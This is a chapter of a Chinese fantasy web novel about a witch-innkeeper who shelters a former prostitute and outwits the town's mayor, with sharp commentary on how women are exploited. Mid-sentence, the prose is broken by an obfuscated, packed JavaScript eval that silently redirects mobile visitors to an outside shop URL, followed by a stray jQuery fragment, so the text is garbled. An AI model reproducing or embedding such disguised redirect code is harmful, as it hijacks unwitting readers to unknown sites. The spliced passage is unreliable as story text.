没过几天，酒馆里就有了一位新的侍者，她看起来有些紧张，菜单酒单却背得很熟。
卡桑德拉在柜台边朝她挥挥手：“切尔西，我想要一杯热红酒。”
距离休林季还有一个多月，灵之森林的野兽大多已经满足了繁衍的需要。格蕾丝经过多方打听，认为剩下的这个月很适合做一些你情我愿的自由贸易。她让后厨将热红酒作为招牌，招揽客人，搜集更多信息，预备组织一次小型集市。
棕栗色的卷发□□练盘起，切尔西的脸上干干净净，甚至泛着健康的红晕，她一溜小跑，来到卡桑德拉身边：“您好！对于温度有什么要求吗？现在我们可以提供温热的那种，如果要刚出锅的热红酒，还需要等一小会儿。”
炼金术士笑笑，注意到她身上丝绸质地的背心裙：“我想要最新出锅的，到时候请你送给我。”
切尔西精神饱满地答应下来，又迅速去应付别的单子。卡桑德拉没有转移开视线，但声音很低地问格蕾丝夫人：“我好像没有熬制新的治愈药剂，你是怎么治好她的？”
“之前在你那边买的治愈药剂还有一支，我怕搁着浪费，就送给她用了。”格蕾丝的回答风轻云淡，好像几金币一支的药剂是什么便宜货。
“真够大方的，她的裙子很漂亮，也是你送的？”
“你怎么不直接夸给她听？背后赞扬等于没有说过——她以前的衣服都用不了了，被我一把火烧了，她现在的东西全是新的。”
新的衣服，新的被褥，新工作，一个全新的精神十足的姑娘。
卡桑德拉的目光柔和下来：“你为什么会帮她？”
“显而易见，”格蕾丝的声音也温和极了，“变成那样不是她的错，你不是说她的裙子很漂亮吗？我只给了布匹，剪裁缝制是切尔西的手艺。”
卡桑德拉一愣：“那怎么会……？”
她下意识想问，有这么精湛手艺的姑娘怎么会被逼迫到去陪男人过夜，但又觉得提问是一件多余的事情。
格蕾丝夫人低声讲述：“我问她这是跟谁学的手艺，她说，那几个和她一起的姐姐没病死之前，她们一起互相学习研究裁缝，在不用接待客人的白天。她们畅想着，有一门手艺就可以脱离这种处境，过上正常的生活。”
炼金术士有很多话想说，但出口的只有一声沉重的叹息。她好像亲眼看到，在鸽子笼一样狭小的窗户帘子后面，几个年轻年长的姑娘摆弄着针线，你教我学，研究如何做出好看的衣服。但帘子后面的身影越来越少，最终只剩下瘦长的一道影子。
切尔西是唯一的幸存者，或许因为年轻，所以她很幸运，起码撑到了威廉死掉的一天。镇长最得力的侄子被谋杀，他对于亲自拉拢的生意有心无力，没法阻止切尔西的离开。
“到底是谁在阻止她们？”卡桑德拉的嘴唇翕动了几下，最终没有忍住这样问。
谁在阻止她们？谁在引诱她们？谁在把这些女孩的生命引向看似更轻松却危机四伏的道路？
“女人是很容易死的。”格蕾丝沉默了好一会儿，才艰难回答道，她看着自己身上纯黑的丝绸长裙，“不够谨慎的选择可以杀死一个少女，无法反抗丈夫可以杀死一位新娘，连续的生育可以杀死一位母亲。”
“这些年轻的姑娘是一种资源，如果她们能够轻易被允许改行，那狩猎季的佣兵会怎么发泄自己的精力？但有她们在就不一样了，上面来的大人物有人陪伴，有几个闲钱的镇民有了去处，佣兵的暴虐有地方发泄……”
卡桑德拉呆住了。
她掩饰性地将杯子往嘴边倾倒，却没发现里面已经空空如也。
女巫的见解深刻而尖锐，一点遮掩也没有，像一把利剑，剖开看似毫无问题的果子，露出腐烂的果肉。
“…她最近有收到骚扰吗？”她只能这么转移话题，想躲避开那些可怕的事实。
“切尔西？我会护着她，那些佣兵开始确实做得没轻没重，但只要看着我的眼睛，他们就会乖乖听话，比狗还要乖巧。”格蕾丝夫人的语气很平静，柜台下躺着的“黑杰克”呜咽一声，尾巴晃个不停。
卡桑德拉总觉得格蕾丝的眼睛里有一种新的火焰在燃烧，这与她打算杀死威廉时不太一样，更加冷静犀利，像是森林中顶级捕猎者的眼神。她盯上什么猎物了，正在细细琢磨猎物的弱点——
酒馆的大门被推开，卡桑德拉转过头，看到一位清瘦的老人，他的眼神像铜铃般严肃坚定，皱纹根根深刻。
“那就是镇长。”格蕾丝夫人朝她低语道。
切尔西手足无措地站在一张空桌边，她刚刚的自信和精神气像被戳破了，现在又露出畏畏缩缩的神色。
但镇长偏偏就挑着她旁边的那桌坐下了，拐杖一下一下点着地板：“‘一枚金币’，你怎么在这儿？”
切尔西嗫喏回答：“我，我在这里有了新工作。”
她因为那个称呼而难堪，脸颊像火烧过一样红起来。
“你？你能在这儿有什么工作？”
棕栗色卷发的姑娘攥紧了拳头，她低下头：“请您从此喊我切尔西吧，我的工资不是一金币了。”
镇长愣住了，或许切尔西从未这么强硬地与他说过话，他感到自己的权威被不轻不重地挑战。这个老人当即沉下脸，低声斥责道：“轮不到你用这样的口气和我说话，让格蕾丝来见我！”
“哪里需要切尔西来喊我呢？”格蕾丝夫人拢着裙摆，从柜台后款款走来，她故作惊讶地抬高眉毛，“…这几天没见，您看起来真是又老了几岁啊，是因为威廉去世的事情吗？”
镇长阴沉沉地盯着眼前的美貌妇人，她看起来神采奕奕，一点也不像刚刚经历丈夫过世的寡妇：“你看起来倒是一点也不难过！早就把我的侄子忘到脑后了！”
“唉——”格蕾丝故作姿态地叹气，她双手合十，在胸口画了个教会的象征图案，“您有所不知，在威廉去世的那一天晚上，我梦到他了。”
“哦？”
“他在梦里向我忏悔，说自己犯了很多罪孽，将要下地狱赎罪了，我当然不愿意听到这样的事情！我苦苦哀求他，是否有解决的法子，他被我缠得没办法，就说，要虔诚地为他赎罪。”
“他犯下过色欲的罪孽，所以要敞开心怀，接纳曾经宽容他的女人。”
“他犯下过贪婪的罪孽，所以要关掉赌场，将那些钱财用于鼓励大家自由交易，将不该获得的钱财还给他们。”
“他犯下过自大的罪孽，所以要平等地对待每一位客人，发自内心地帮助他们，解决他们的问题。”
格蕾丝夫人闭上双眼，低低颂念那几句祷告词，她美丽的脸庞上满是诚恳，简直像最虔诚的教徒，一心一意为死后的丈夫赎罪。
柜台边的卡桑德拉差点把杯子摔了，镇长也被这一套说辞噎得目瞪口呆，瞪着她说不出话。
他已经老了，早就放出眼光寻找接管弗瑞斯小镇的继承人，本来威廉可能
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14254050|147368||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
就是下一任镇长，但他偏偏死在乔尼的手里——听完格蕾丝这一套说辞，哪怕镇长再怀疑她在胡说，也情不自禁怀疑起来。
他是个老人，老人就不能免俗，会去想死后的事情，他来往这么多教士，甚至带着威廉大笔大笔地上供钱财，就是为了买来死后的心安，但威廉如果在梦里这么说……难道死后真的有地狱？
镇长犹豫了，他摸着下巴边的花白胡茬，咳嗽了两声：“你有这个心意很好。所以……切尔西是你为了赎罪招纳的女人？”
他以己度人，实在不愿意相信，怎么会有人去招纳这样染着脏病的女人来工作，自费给她治病？谁会花这么莫名其妙的钱？想不通这一点，镇长就对威廉托梦的故事半信半疑。
“对。”格蕾丝夫人牵起切尔西的手，棕栗色卷发的姑娘谦卑地低下头，眼睛却炯炯有神。
“我将把她当做姐妹一样对待，只因为她也曾经宽解过我丈夫的苦痛和寂寞——”
卡桑德拉忍笑忍得有些辛苦，她捂着脸，埋在手臂间，假装自己喝醉了。不愧是女巫啊，她想，格蕾丝夫人装神弄鬼起来真是有一套，像真正的教徒一样。
镇长不明就里，眼神也严肃起来，他盯着切尔西：“你曾经犯下过罪过！你用身体去诱惑那些人，换取生存的钱财，你令镇民从家庭中分心，让佣兵贪恋床铺，不愿意进入森林付出劳动！”
“你要忏悔自己的罪过！从此改过，不再做那样的妖妇，跟着格蕾丝好好学习顺从，即便带着污点，也要学会做正常的女人。”
即便是放弃了对切尔西的掌控，也要先给她盖上妖妇的罪名吗？格蕾丝的眼睛里闪过一丝嘲讽，她安慰般地握紧切尔西的手。
年轻的姑娘脸上闪过愤怒与挣扎，但她察觉到格蕾丝夫人的态度，暂且顺从地低下头，棕栗色的卷发从脸颊边落下一绺。
她说：“我会跟着格蕾丝夫人好好学习。”
学习如何用你们恐惧的东西对付你们，如何看透你们虚伪的内心，如何杀死你们，就像宰杀一只不会打鸣的公鸡……
这样的规训会训练出什么样的野兽呢？卡桑德拉收敛了笑容，她很好奇，男人总是认为自己清白，认为女人富有挑逗性，是魔鬼的诱饵，又认为她们无能，根本没法在除了陪伴男人之外的事业上坚持下去——那么他们自己又做成了什么？
劳拉的丈夫麦克是个酒鬼，喝醉后只敢殴打自己的妻子，再压榨出钱财继续喝酒；罗丽丝的队友乔尼善于嫉妒，头脑简单，明明不具备多么超绝的天赋，却甘愿为威廉去杀人灭口；威廉喜欢榨干每个人剩下的每一滴价值，强迫妻子格蕾丝生育，开设赌场搜刮钱财，甚至拖欠给切尔西的报酬……
难道只有女人是罪恶的化身，而男人无论做什么都能清白地退场，甚至被原谅，直到狗咬狗才会被处罚？
他们粗暴地为女人划清道路，无论是哪条路，都要依附男人为生，要么成为他们的财产，就像那条规定“妻子是丈夫财产”的法令，要么就成为一种可以购买的货品，好比那个侮辱人的“一枚金币”外号——就这么做，这样就可以达成绝对的掌控。
“逃到王都之外，那里才是真正的地狱——女人的地狱！”
多么荒谬，多么残酷，卡桑德拉突然想起曾经继母的话，她默默咬紧了牙关。
不会总是这样的，她的命运在改变，劳拉，罗丽丝，格蕾丝，玛丽，甚至是切尔西……她们的命运凭什么被这种东西决定？